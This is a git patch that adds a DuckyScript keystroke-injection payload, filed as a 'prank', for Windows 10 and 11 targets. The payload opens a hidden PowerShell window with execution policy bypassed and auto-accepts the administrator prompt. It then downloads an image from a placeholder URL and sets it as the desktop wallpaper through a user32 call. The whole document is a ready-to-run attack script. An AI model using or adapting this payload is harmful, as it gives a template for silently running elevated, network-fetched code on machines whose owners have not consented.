From 779231f3791f05470e2a39f9ab0641b2e520d596 Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Wed, 5 Jul 2023 13:25:03 +0000 Subject: [PATCH] Add files via upload --- Pranks/Change Wallpaper.txt | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 Pranks/Change Wallpaper.txt diff --git a/Pranks/Change Wallpaper.txt b/Pranks/Change Wallpaper.txt new file mode 100644 index 0000000..1a6680a --- /dev/null +++ b/Pranks/Change Wallpaper.txt @@ -0,0 +1,27 @@ + +REM Title: Change Wallpaper +REM Author: @beigeworm | https://github.com/beigeworm +REM Description: Uses Powershell to retrieve an image from a specified URL and sets it as the wallpaper. +REM Target: Windows 10,11 + + +DEFAULT_DELAY 100 + +REM open powershell (remove -W Hidden to show the window) +GUI r +DELAY 750 +STRING powershell -NoP -NonI -W Hidden -Exec Bypass +CTRL-SHIFT ENTER +DELAY 1500 +ALT y +DELAY 5000 + + +REM powershell one-liner for changing the wallpaper +STRING $url = "INSERT_IMAGE_URL_HERE";$outputPath = "$env:temp\img.jpg";$wallpaperStyle = 2;IWR -Uri $url -OutFile $outputPath +STRING ;$signature = 'using System;using System.Runtime.InteropServices;public class Wallpaper {[DllImport("user32.dll", CharSet = CharSet.Auto)]public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);}' +STRING ;Add-Type -TypeDefinition $signature;$SPI_SETDESKWALLPAPER = 0x0014;$SPIF_UPDATEINIFILE = 0x01;$SPIF_SENDCHANGE = 0x02;[Wallpaper]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $outputPath, $SPIF_UPDATEINIFILE -bor $SPIF_SENDCHANGE) +STRING ;sleep 1;exit + +DELAY 500 +ENTER